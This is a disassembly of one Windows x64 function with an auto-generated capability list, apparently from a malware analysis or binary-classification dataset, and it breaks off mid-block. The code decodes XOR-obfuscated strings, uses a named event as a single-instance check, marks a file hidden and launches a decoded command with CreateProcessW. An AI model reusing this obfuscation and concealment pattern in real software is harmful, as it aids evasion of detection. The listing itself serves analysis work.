Function at 0x140017050
Capabilities:
Check if file exists
Create directory
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x1400650c0]
xor rax, rsp
mov qword [rbp + 0x550], rax
mov ecx, 0x114d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001b7e0
lea r9, str.d73x14R906SC5S7E45R32e33I
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov r12, rax
test rax, rax
je 0x1400181e2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400170d5
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400181e0
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
xor r13d, r13d
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], r13
lea rdx, str._____________________________________________________________________________________________________________________________________________________________________._______________________________________________________________________________.______________________.________________________________________________________________________________.__________________________________________________________________________________________________________________________________________________________________________________________._________._____________.____________.______.____.______________.___________._________._____.________.__________.___________.____________.____.______._________.____.______.________.__._________.__.__________.___________.______.______.____________.___________.___________._________.___________._____________.____________._____________._________.____________.______________.____________._________.______.____.__________._______._____________._____________.____________.__._________.___________._______________._____.____._________.__.________._____________.__________.____________._____________.______.____._____________.__.___________.__________._________.___________.____________.____________.___________.______.________.____.____.________________._____________.____________.___________._________.____________.___________.___________._______________.__________.___________._____.________._____.______.__________.___________.____________._________._____.______._________._______________._____________.____________.__.________._________.____________._________._____.______.__________.___________.__.________.__.________._____.______.______________._____________.____.____.____.____._________._________._____________.______________._____________._____.________.___________.__.__________.________.__.________._________.__.___________.______________.__________.______________._____________.__________.____________._________.__________.__.________.___________.__________.___________.___________.______________.__________.____________._________.__.___________.__.__.______.____________.___________.____________.______________._____.______.___________.__________.___________.____________.__.________.____________._______________.__.__________._________.___________.__.____________._____________.___________.___________.___________._____.____.___________.__________.___________._____________.__________.__________._____________._____________.______________.___________.__._________._____________.____
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], r13b
jne 0x140017101
lea rcx, [rbp + 0x3b0]
call fcn.140002e60
nop
call fcn.140018a80
mov r9, rax
cmp byte [rax + 0x53], 0
je 0x140017161
mov rdx, r13
movabs r8, 0x31070921874b0533
nop dword [rax]
nop word [rax + rax]
movzx ecx, dl
and cl, 7
shl cl, 3
mov rax, r8
shr rax, cl
xor byte [rdx + r9], al
inc rdx
cmp rdx, 0x53
jb 0x140017140
mov byte [r9 + 0x53], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2f0], xmm0
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], r13
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017180
mov rdx, r9
lea rcx, [rbp + 0x2f0]
call fcn.140002e60
nop
call fcn.140018b80
mov rcx, rax
call fcn.14001aac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x370], xmm0
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400171c2
mov rdx, rcx
lea rcx, [rbp + 0x370]
call fcn.140002e60
nop
call fcn.140018c70
mov rcx, rax
call fcn.14001a9c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x390], xmm0
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140017204
mov rdx, rcx
lea rcx, [rbp + 0x390]
call fcn.140002e60
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x440]
call fcn.14003a130
mov ebx, 2
mov r8d, ebx
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x440]
call fcn.140019e40
nop
lea r15d, [rbx + 4]
cmp qword [rbp + 0x4c8], 0
je 0x1400172f2
lea rdx, [rbp + 0x3b0]
cmp qword [rbp + 0x3c8], 0xf
cmova rdx, qword [rbp + 0x3b0]
mov r8, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x440]
call fcn.140003430
lea rcx, [rbp + 0x448]
call fcn.14001a8c0
test rax, rax
jne 0x1400172d3
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov eax, r15d
cmp qword [rbp + rcx + 0x488], 0
cmovne eax, ebx
or eax, dword [rbp + rcx + 0x450]
and eax, 0x17
mov dword [rbp + rcx + 0x450], eax
and eax, dword [rbp + rcx + 0x454]
jne 0x140018911
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
mov edx, ebx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
movdqa xmm0, xmmword [0x14005bdc0]
mov dword [rbp + 0x2a0], 0x4f220947
mov dword [rbp + 0x2a4], 0xfc7750d5
mov dword [rbp + 0x2a8], 0x492e2f75
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2830
mov eax, dword [rcx + rdi]
mov ebx, 0x2878
test al, 1
jne 0x1400173a8
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1d], 1
lea rax, [rcx + 0x1c]
lea rdx, [rbp + 0x2ac]
cmp rcx, rdx
ja 0x14001737e
lea rdx, [rbp + 0x290]
cmp rax, rdx
jb 0x14001737e
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2a0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2a8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb1
jmp 0x14001739b
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x2a0]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x2a8]
mov dword [rcx + 0x18], eax
mov byte [rcx + 0x1c], 0xb1
lea rcx, [0x14003bb10]
call fcn.14001e678
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1d], 0
je 0x140017429
xor byte [rdx], 0x1b
xor byte [rdx + 1], 0x4b
xor byte [rdx + 2], 0x4b
xor byte [rdx + 3], 0x3b
xor byte [rdx + 4], 0xb1
xor byte [rdx + 5], 0x35
xor byte [rdx + 6], 0x11
xor byte [rdx + 7], 0x99
xor byte [rdx + 8], 0x1b
xor byte [rdx + 9], 0x4b
xor byte [rdx + 0xa], 0x4b
xor byte [rdx + 0xb], 0x3b
xor byte [rdx + 0xc], 0xb1
xor byte [rdx + 0xd], 0x35
xor byte [rdx + 0xe], 0x11
xor byte [rdx + 0xf], 0x99
xor byte [rdx + 0x10], 0x1b
xor byte [rdx + 0x11], 0x4b
xor byte [rdx + 0x12], 0x4b
xor byte [rdx + 0x13], 0x3b
xor byte [rdx + 0x14], 0xb1
xor byte [rdx + 0x15], 0x35
xor byte [rdx + 0x16], 0x11
xor byte [rdx + 0x17], 0x99
xor byte [rdx + 0x18], 0x1b
xor byte [rdx + 0x19], 0x4b
xor byte [rdx + 0x1a], 0x4b
xor byte [rdx + 0x1b], 0x3b
xor byte [rdx + 0x1c], 0xb1
mov byte [rdx + 0x1d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], r13
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140017444
lea rcx, [rbp + 0x350]
call fcn.140002e60
nop
lea rcx, [rbp + 0x350]
mov rbx, qword [rbp + 0x360]
cmp qword [rbp + 0x368], 0xf
jbe 0x14001747f
mov rsi, qword [rbp + 0x350]
add rbx, rsi
jmp 0x140017489
add rbx, rcx
lea rsi, [rbp + 0x350]
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov eax, 0xa
movabs r14, 0x7ffffffffffffffe
cmp rsi, rbx
jne 0x1400174c6
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
jmp 0x140017598
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x220], rdx
mov r8d, 7
mov qword [rbp + 0x228], r8
cmp rdi, r14
ja 0x140018967
cmp rdi, r8
jbe 0x140017540
or rdi, r8
cmp rdi, r14
jbe 0x1400174fe
mov rdi, r14
jmp 0x140017505
cmp rdi, rax
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x210]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x228], r8
mov rdx, qword [rbp + 0x220]
nop word [rax + rax]
lea rcx, [rbp + 0x210]
cmp r8, 7
cmova rcx, qword [rbp + 0x210]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x220]
inc rdx
mov qword [rbp + 0x220], rdx
inc rsi
cmp rsi, rbx
je 0x14001757c
mov r8, qword [rbp + 0x228]
jmp 0x140017540
lea rax, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rax, qword [rbp + 0x210]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005bc60]
mov dword [rbp + 0x2e8], 0xa8031b8d
mov word [rbp + 0x2ec], 0x3f94
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x29e4
mov eax, dword [rcx + rdi]
mov ebx, 0x2898
test al, 1
jne 0x14001763f
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp + 0x2ee]
cmp rcx, rdx
ja 0x140017617
lea rdx, [rbp + 0x2d8]
cmp rax, rdx
jb 0x140017617
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x99
jmp 0x140017632
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x2e8]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x2ec]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x99
lea rcx, [0x14003bae0]
call fcn.14001e678
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x17], 0
je 0x1400176a5
xor byte [rdx], 0xd1
xor byte [rdx + 1], 0x5f
xor byte [rdx + 2], 0x71
not byte [rdx + 3]
xor byte [rdx + 4], 0xf1
xor byte [rdx + 5], 0x5d
xor byte [rdx + 6], 0x99
xor byte [rdx + 7], 0xeb
xor byte [rdx + 8], 0xd1
xor byte [rdx + 9], 0x5f
xor byte [rdx + 0xa], 0x71
not byte [rdx + 0xb]
xor byte [rdx + 0xc], 0xf1
xor byte [rdx + 0xd], 0x5d
xor byte [rdx + 0xe], 0x99
xor byte [rdx + 0xf], 0xeb
xor byte [rdx + 0x10], 0xd1
xor byte [rdx + 0x11], 0x5f
xor byte [rdx + 0x12], 0x71
not byte [rdx + 0x13]
xor byte [rdx + 0x14], 0xf1
xor byte [rdx + 0x15], 0x5d
xor byte [rdx + 0x16], 0x99
mov byte [rdx + 0x17], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], r13
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400176c4
lea rcx, [rbp + 0x330]
call fcn.140002e60
nop
lea rcx, [rbp + 0x330]
mov rbx, qword [rbp + 0x340]
cmp qword [rbp + 0x348], 0xf
jbe 0x1400176ff
mov rsi, qword [rbp + 0x330]
add rbx, rsi
jmp 0x140017709
add rbx, rcx
lea rsi, [rbp + 0x330]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f0], xmm0
cmp rsi, rbx
jne 0x140017737
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
jmp 0x140017808
mov rdi, rbx
sub rdi, rsi
mov rdx, r13
mov qword [rbp + 0x200], rdx
mov r8d, 7
mov qword [rbp + 0x208], r8
cmp rdi, r14
ja 0x14001896d
cmp rdi, r8
jbe 0x1400177b0
or rdi, r8
cmp rdi, r14
jbe 0x14001776f
mov rdi, r14
jmp 0x14001777c
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
inc rdi
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1f0]
call fcn.140002df0
lea r8, [rdi - 1]
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x208], r8
mov rdx, qword [rbp + 0x200]
nop
lea rcx, [rbp + 0x1f0]
cmp r8, 7
cmova rcx, qword [rbp + 0x1f0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x200]
inc rdx
mov qword [rbp + 0x200], rdx
inc rsi
cmp rsi, rbx
je 0x1400177ec
mov r8, qword [rbp + 0x208]
jmp 0x1400177b0
lea rax, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rax, qword [rbp + 0x1f0]
mov word [rax + rdx*2], r13w
movdqa xmm0, xmmword [0x14005bc10]
mov dword [rbp + 0x240], 0xb122af6b
mov dword [rbp + 0x244], 0x6c1d4720
mov dword [rbp + 0x248], 0xb6239e51
mov word [rbp + 0x24c], 0x2b24
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2a08
mov eax, dword [rcx + rdi]
mov ebx, 0x2a10
test al, 1
jne 0x1400178d9
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x24d]
cmp rcx, rdx
ja 0x1400178a8
lea rdx, [rbp + 0x230]
cmp rax, rdx
jb 0x1400178a8
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x240]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x248]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x24c]
mov word [rcx + 0x1c], ax
jmp 0x1400178cc
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x240]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x248]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x24c]
mov word [rcx + 0x1c], ax
lea rcx, [0x14003bab0]
call fcn.14001e678
nop
lea rdx, [rdi + rbx]
cmp byte [rdx + 0x1e], 0
je 0x14001795e
xor byte [rdx], 0x37
xor byte [rdx + 1], 0xfb
xor byte [rdx + 2], 0x4d
xor byte [rdx + 3], 0xc5
xor byte [rdx + 4], 0x41
xor byte [rdx + 5], 0x2b
xor byte [rdx + 6], 0x59
xor byte [rdx + 7], 9
xor byte [rdx + 8], 0x37
xor byte [rdx + 9], 0xfb
xor byte [rdx + 0xa], 0x4d
xor byte [rdx + 0xb], 0xc5
xor byte [rdx + 0xc], 0x41
xor byte [rdx + 0xd], 0x2b
xor byte [rdx + 0xe], 0x59
xor byte [rdx + 0xf], 9
xor byte [rdx + 0x10], 0x37
xor byte [rdx + 0x11], 0xfb
xor byte [rdx + 0x12], 0x4d
xor byte [rdx + 0x13], 0xc5
xor byte [rdx + 0x14], 0x41
xor byte [rdx + 0x15], 0x2b
xor byte [rdx + 0x16], 0x59
xor byte [rdx + 0x17], 9
xor byte [rdx + 0x18], 0x37
xor byte [rdx + 0x19], 0xfb
xor byte [rdx + 0x1a], 0x4d
xor byte [rdx + 0x1b], 0xc5
xor byte [rdx + 0x1c], 0x41
xor byte [rdx + 0x1d], 0x2b
mov byte [rdx + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x310], xmm0
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], r13
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], 0
jne 0x140017980
lea rcx, [rbp + 0x310]
call fcn.140002e60
nop
lea rcx, [rbp + 0x310]
mov rbx, qword [rbp + 0x320]
cmp qword [rbp + 0x328], 0xf
jbe 0x1400179bb
mov rsi, qword [rbp + 0x310]
add rbx, rsi
jmp 0x1400179c5
add rbx, rcx
lea rsi, [rbp + 0x310]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
cmp rsi, rbx
jne 0x1400179f3
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
jmp 0x140017acf
mov rax, rbx
sub rax, rsi
mov rdx, r13
mov qword [rbp + 0x1e0], rdx
mov edi, 7
mov qword [rbp + 0x1e8], rdi
cmp rax, r14
ja 0x140018973
cmp rax, rdi
jbe 0x140017a70
or rax, rdi
cmp rax, r14
ja 0x140017a35
mov r14, rax
cmp rax, 0xa
mov eax, 0xa
cmovb r14, rax
lea rdi, [r14 + 1]
mov qword [rsp + 0x78], rdi
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1d0]
call fcn.140002df0
dec rdi
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1e8], rdi
mov rdx, qword [rbp + 0x1e0]
nop word [rax + rax]
lea rcx, [rbp + 0x1d0]
cmp rdi, 7
cmova rcx, qword [rbp + 0x1d0]
movsx eax, byte [rsi]
mov word [rcx + rdx*2], ax
mov rdx, qword [rbp + 0x1e0]
inc rdx
mov qword [rbp + 0x1e0], rdx
inc rsi
cmp rsi, rbx
je 0x140017aac
mov rdi, qword [rbp + 0x1e8]
jmp 0x140017a70
lea rax, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rax, qword [rbp + 0x1d0]
mov word [rax + rdx*2], r13w
mov rdi, 0xffffffffffffffff
lea rcx, [rbp + 0x210]
cmp qword [rbp + 0x228], 7
cmova rcx, qword [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
lea r14, vtable.std::ios_base.0
cmp eax, 0xffffffff
je 0x140017b03
test al, 0x10
jne 0x140017b57
lea rcx, [rbp + 0x1f0]
cmp qword [rbp + 0x208], 7
cmova rcx, qword [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140017b29
test al, 0x10
jne 0x140017b57
lea rcx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 7
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140018212
test al, 0x10
je 0x140018212
call fcn.140018d50
mov r9, rax
cmp byte [rax + 0x8e], 0
je 0x140017bbf
lea rdx, [rax + 1]
mov r8, rdi
sub r8, rax
movabs r10, 0x4dc13fb38feb1737
nop dword [rax]
lea ecx, [rdx + r8]
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx - 1], al
movzx ecx, dl
sub cl, r9b
and cl, 7
shl cl, 3
mov rax, r10
shr rax, cl
xor byte [rdx], al
add rdx, 2
lea rax, [r8 + rdx]
cmp rax, 0x8e
jb 0x140017b80
mov byte [r9 + 0x8e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b0], xmm0
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], r13
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [r9 + r8], 0
jne 0x140017be0
mov rdx, r9
lea rcx, [rbp + 0x2b0]
call fcn.140002e60
nop
lea r8, [rbp + 0x2b0]
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x270]
call fcn.14001adc0
nop
mov rdx, qword [rbp + 0x2c8]
cmp rdx, 0xf
jbe 0x140017c56
inc rdx
mov rcx, qword [rbp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017c51
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018979
call fcn.14001e560
mov qword [rbp + 0x2c0], r13
mov qword [rbp + 0x2c8], 0xf
mov byte [rbp + 0x2b0], 0
mov rcx, qword [rbp + 0x280]
inc rcx
mov eax, 2
mul rcx
cmovo rax, rdi
mov rcx, rax
call fcn.14001e710
mov rbx, rax
lea r8, [rbp + 0x270]
cmp qword [rbp + 0x288], 0xf
cmova r8, qword [rbp + 0x270]
mov ecx, dword [rbp + 0x280]
inc ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, edi
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d0], xmm0
movups xmmword [rbp + 0x3e0], xmm0
movups xmmword [rbp + 0x3f0], xmm0
movups xmmword [rbp + 0x400], xmm0
movups xmmword [rbp + 0x410], xmm0
movups xmmword [rbp + 0x420], xmm0
mov qword [rbp + 0x430], rax
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x40c], 1
mov word [rbp + 0x410], r13w
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14001e560
nop
mov rdx, qword [rbp + 0x288]
cmp rdx, 0xf
jbe 0x140017dc3
inc rdx
mov rcx, qword [rbp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017dbe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001897f
call fcn.14001e560
lea rbx, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x2f0]
cmp qword [rbp + 0x308], 0xf
cmova rcx, qword [rbp + 0x2f0]
call fcn.140026ec0
nop
mov rdx, qword [rbp + 0x1e8]
cmp rdx, 7
jbe 0x140017e36
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018985
call fcn.14001e560
mov qword [rbp + 0x1e0], r13
mov qword [rbp + 0x1e8], 7
mov word [rbp + 0x1d0], r13w
mov rdx, qword [rbp + 0x328]
cmp rdx, 0xf
jbe 0x140017e91
inc rdx
mov rcx, qword [rbp + 0x310]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017e8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a45
call fcn.14001e560
mov qword [rbp + 0x320], r13
mov qword [rbp + 0x328], 0xf
mov byte [rbp + 0x310], 0
mov rdx, qword [rbp + 0x208]
cmp rdx, 7
jbe 0x140017ef0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017eeb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a4b
call fcn.14001e560
mov qword [rbp + 0x200], r13
mov qword [rbp + 0x208], 7
mov word [rbp + 0x1f0], r13w
mov rdx, qword [rbp + 0x348]
cmp rdx, 0xf
jbe 0x140017f4b
inc rdx
mov rcx, qword [rbp + 0x330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a51
call fcn.14001e560
mov qword [rbp + 0x340], r13
mov qword [rbp + 0x348], 0xf
mov byte [rbp + 0x330], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 7
jbe 0x140017faa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fa5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a57
call fcn.14001e560
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 7
mov word [rbp + 0x210], r13w
mov rdx, qword [rbp + 0x368]
cmp rdx, 0xf
jbe 0x140018005
inc rdx
mov rcx, qword [rbp + 0x350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018000
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a5d
call fcn.14001e560
mov qword [rbp + 0x360], r13
mov qword [rbp + 0x368], 0xf
mov byte [rbp + 0x350], 0
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rsi
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x43c], edx
lea rcx, [rbp + 0x448]
call fcn.140019d90
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x440], rbx
mov rax, qword [rbp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x43c], edx
mov qword [rbp + 0x4e8], r14
lea rcx, [rbp + 0x4e8]
call fcn.14001dae4
nop
mov rdx, qword [rbp + 0x3a8]
cmp rdx, 0xf
jbe 0x1400180d2
inc rdx
mov rcx, qword [rbp + 0x390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400180cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a63
call fcn.14001e560
mov qword [rbp + 0x3a0], r13
mov qword [rbp + 0x3a8], 0xf
mov byte [rbp + 0x390], 0
mov rdx, qword [rbp + 0x388]
cmp rdx, 0xf
jbe 0x14001812c
inc rdx
mov rcx, qword [rbp + 0x370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018127
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a69
call fcn.14001e560
mov qword [rbp + 0x380], r13
mov qword [rbp + 0x388], 0xf
mov byte [rbp + 0x370], 0
mov rdx, qword [rbp + 0x308]
cmp rdx, 0xf
jbe 0x140018186
inc rdx
mov rcx, qword [rbp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140018181
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140018a6f
call fcn.14001e560
mov qword [rbp + 0x300], r13
mov qword [rbp + 0x308], 0xf
mov byte [rbp + 0x2f0], 0
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0xf
jbe 0x1400181e0
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400181db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001890b
call fcn.14001e560
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.14001e540
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movdqa xmm0, xmmword [0x14005ba70]
mov dword [rbp + 0x260], 0xbb54530e
mov dword [rbp + 0x264], 0x388cda39
mov dword [rbp + 0x268], 0xa158471e
mov word [rbp + 0x26c], 0x8924
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x2a70
mov eax, dword [rcx + rdi]
mov ebx, 0x29e8
test al, 1
jne 0x1400182e3
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rbx + rdi]
mov byte [rcx + 0x1e], 1
lea rax, [rcx + 0x1d]
lea rdx, [rbp + 0x26d]
cmp rcx, rdx
ja 0x1400182b2
lea rdx, [rbp + 0x250]
cmp rax, rdx
jb 0x1400182b2
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
jmp 0x1400182d6
movups xmmword [rcx], xmm0
movsd xmm0, qword [rbp + 0x260]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rbp + 0x268]
mov dword [rcx + 0x18], eax
movzx eax, word [rbp + 0x26c]
mov word [rcx + 0x1c], ax
